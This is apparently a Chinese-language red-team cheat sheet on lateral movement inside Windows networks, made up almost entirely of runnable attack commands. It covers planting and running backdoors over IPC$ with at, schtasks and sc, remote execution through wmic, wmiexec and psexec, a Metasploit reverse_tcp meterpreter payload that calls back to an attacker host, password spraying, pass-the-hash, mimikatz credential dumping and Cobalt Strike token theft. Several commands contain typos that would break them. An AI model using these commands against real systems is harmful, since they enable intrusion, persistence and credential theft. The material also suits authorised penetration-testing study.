内网渗透-横向移动(上)
一、账号密码连接:
1. IPC连接:
利用前提:
- 139,445开启,防火墙不阻止
- 开启默认共享
- 拥有本地或者域管账号
利用方式:
- 建立IPC连接
连接域机器:net use \目标ip\ipc$”密码“ /user:domain\用户名
连接工作组:net use \目标ip\ipc$”密码“ /user:用户名 - 复制文件(先上传到中转机器上):
copy 中转机器路径 \目标ip\目标路径 #注:xcopy命令可以复制文件夹 - net user \目标ip /del /y #断开IPC$连接
- net use \ip\lipc$ “” /user:”” #建立空连接
2. 计划任务执行
AT命令:
- 建立IPC$连接
net use \目标ip\ipc$”密码“ /user:用户名 - 查看目标系统时间
net time \ip - 将后门文件拷贝到目标系统中
copy 中转机器路径 \目标ip\目标路径 - 指定执行时间
at \ip:时间 C:\windows\…(后门路径)
注意:
- at \ip /delete /yes #清除at记录
- at \ip 15:33:36 cmd.exe /C “ipconfig” >C:/”1.txt” type \ip\C$\1.txt
#读取命令执行之后的输出内容(type是读取文件命令)
Schtasks命令(win server2008及win7之后)
- 建立IPC$连接
net use \目标ip\ipc$”密码“ /user:用户名 - 查看目标系统时间
net time \ip - 将后门文件拷贝到目标系统中
copy 中转机器路径 \目标ip\目标路径 - 指定执行时间
schtasks /CREATE /TN test /TR C:\windows(后门路径) /SC once /RU SYSTEM /ST 10:30 /S 目标ip /U 用户名 /P 密码 #运行一次
注意:chcp 437 #如果目标是中文系统,调整一下字符集
Sc命令(以服务方式上线)
- 建立IPC$连接
net use \目标ip\ipc$”密码“ /user:用户名 - 将后门文件拷贝到目标系统中(后门要生成服务马)
copy 中转机器路径 \目标ip\目标路径 - 配置服务且启动服务
- sc \ip creat “test” binpath=”cmd /c 服务马路径
- sc \ip start test” //启动服务
- sc \ip delete “test” //删除服务
3.Wmi
(1)win系统自带:
- 在远程系统上执行bat脚本
wmic /node:ip /user:用户名 /password:密码 process call create bat路径 - 在远程系统上执行单条命令
wmic /node:ip /user:用户名 /password:密码 process call create “cmd.exe /c net user test1 123456 /add && net localgroup adminstrators test1 /add” - 在远程系统上运行exe文件
wmic /node:ip /user:用户名 /password:密码 process call create “cmd.exe /c exe路径”
(2)WMIEXEC(半交互式shell)
https://github.com/rootclay/WMIHACKER
有命令回显执行方式> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1
无命令回显> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0
模拟shell模式> cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"
文件上传-复制本机calc.exe到远程主机c:\calc.exe> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"
文件下载-下载远程主机calc.exe到本地c:\calc.exe> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"
(3)impackets wmi
Linux跨Windows常用,使用impackets wmiexec执行命令,有回显
https://github.com/SecureAuthCorp/impacket
- python wmiexec.py -hashes 00032个0:hash值 domain/用户名@ip “whoami”
(4)MSF wmi
- use exploit/windows/local/wmi
- set rhost 目标ip
- set smbuser 用户名
- set smbpass 密码
- set session 1
- set payload windows/meterperter/reverse_tcp_uuid
- set lhost 本地ip
- set lport 本地端口号
- exploit -j
4. PSEXEC
(1) impacket自带的exe文件:
- psexec \ip -u 用户名 -p 密码 cmd #返回cmd终端
- psexec \ip -u 用户名 -p 密码 -s cmd /c “query user”
(2) MSF psexec PTH
- use exploit/windows/smb/psexec
- set rhost 目标ip
- set smbuser 用户名
- set smbdimain 域名
- set smbpass 00032个0:hash值
- exploit
注:32个0起到hash占位作用
(3) MSF psexec PTH(命令执行模块)
- use exploit/windows/smb/psexec_command
- set rhost 目标ip
- set smbuser 用户名
- set smbdimain 域名
- set smbpass 00032个0:hash值
- set command net user
- run
6. 密码喷射
注意:
- 需要知道密码锁定策略防止把账号全锁定了(K386爆破)
步骤:
- 收集用户密码和用户字典
- crackmapexec smb ip -u ‘adminstrator’ -p ‘123456’ –pass-po
二、 PTH哈希传递
在不能拿到明文,只能拿到hash的时候可以考虑使用此方法
原理:NTLM认证过程中仅对比密码散列值是否相同,并不判断明文密码是否一致
1. MSF PTH smb登录模块
- use auxiliary/scanner/smb/smb_login
- set rhost ip
- set USER_FILE /root/Desktop/user.txt
- set PASS_FILE /root/Desktop/passwd.txt(hash)
- set smbdomain 域名
- run
2. CME PTH
CrackMapExec
https://github.com/Porchetta-Industries/CrackMapExec
windows下建议使用编译好的版本
官方文档:https://wiki.porchetta.industries/
3. KALI自带的PTH攻击脚本
pth-winexe -U 用户名%00032个0:hash值 //ip cmd.exe
4. minikatz PTH
- 使用管理员权限获取hash
minikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit” > info.txt - hash传递
minikatz.exe “privilege::debug” “sekurlsa::pth /user:用户名 /domain:域名 /ntlm:hash值”
5. CS hash传递
- 如果已经拿到shell,快速获取hash
- getuid
- powershell-import D:\test\get-passhashes.ps1
- powershell get-passhashes
- 借助minikatzhash传递
minikatz sekurlsa::pth /user:用户名 /domain:域名 /ntlm:hash值 /run:”powershell -w hidden” - 使用steal_token功能窃取刚刚进程的令牌
- steal_token 632
- shell dir \ip\C$
- rev2self(清除)